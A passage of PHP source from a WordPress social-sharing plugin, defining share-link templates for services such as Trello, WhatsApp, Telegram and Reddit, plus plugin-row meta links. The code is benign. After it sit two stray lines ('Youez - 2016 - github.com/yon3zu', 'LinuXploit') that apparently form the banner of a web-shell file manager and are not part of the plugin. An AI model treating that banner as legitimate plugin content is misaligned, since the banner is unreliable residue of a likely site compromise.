		$link['trello'] = ['label' => 'Trello', 'url' => 'https://trello.com/add-card', 'params' => ['url' => '[%url%]', 'name' => '[%title%]', 'desc' => '[%details%]', 'mode' => 'popup']];
		$link['viber'] = ['label' => 'Viber', 'url' => 'viber://forward', 'params' => ['text' => '[%title%] [%url%]']];
		$link['whatsapp'] = ['label' => 'WhatsApp', 'url' => 'whatsapp://send', 'params' => ['text' => '[%title%] [%url%]']];
		$link['telegram'] = ['label' => 'Telegram', 'url' => 'https://telegram.me/share/url', 'params' => ['url' => '[%url%]', 'text' => '[%title%]']];
		$link['email'] = ['label' => 'Email', 'url' => 'mailto:', 'params' => ['body' => 'Title: [%title%] \n\n URL: [%url%]', 'subject' => '[%title%]']];
		$link['reddit'] = ['label' => 'Reddit', 'url' => 'http://reddit.com/submit', 'params' => ['url' => '[%url%]', 'title' => '[%title%]']];
		$link['digg'] = ['label' => 'Digg', 'url' => 'http://digg.com/submit', 'params' => ['url' => '[%url%]', 'title' => '[%title%]', 'phase' => 2]];
		$link['stumbleupon'] = ['label' => 'StumbleUpon', 'url' => 'http://www.stumbleupon.com/submit', 'params' => ['url' => '[%url%]', 'title' => '[%title%]']];

		return $link;
	}


	public function xs_plugin_row_meta($links, $file) {
		if(strpos($file, 'wp-social.php') !== false) {
			$new_links = array(
				'demo'    => '<a href="#" target="_blank"><span class="dashicons dashicons-welcome-view-site"></span>Live Demo</a>',
				'doc'     => '<a href="#" target="_blank"><span class="dashicons dashicons-media-document"></span>User Guideline</a>',
				'support' => '<a href="https://help.wpmet.com/" target="_blank"><span class="dashicons dashicons-admin-users"></span>Support</a>',
				'pro'     => '<a href="#" target="_blank"><span class="dashicons dashicons-cart"></span>Premium version</a>',
			);
			$links = array_merge($links, $new_links);
		}

		return $links;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit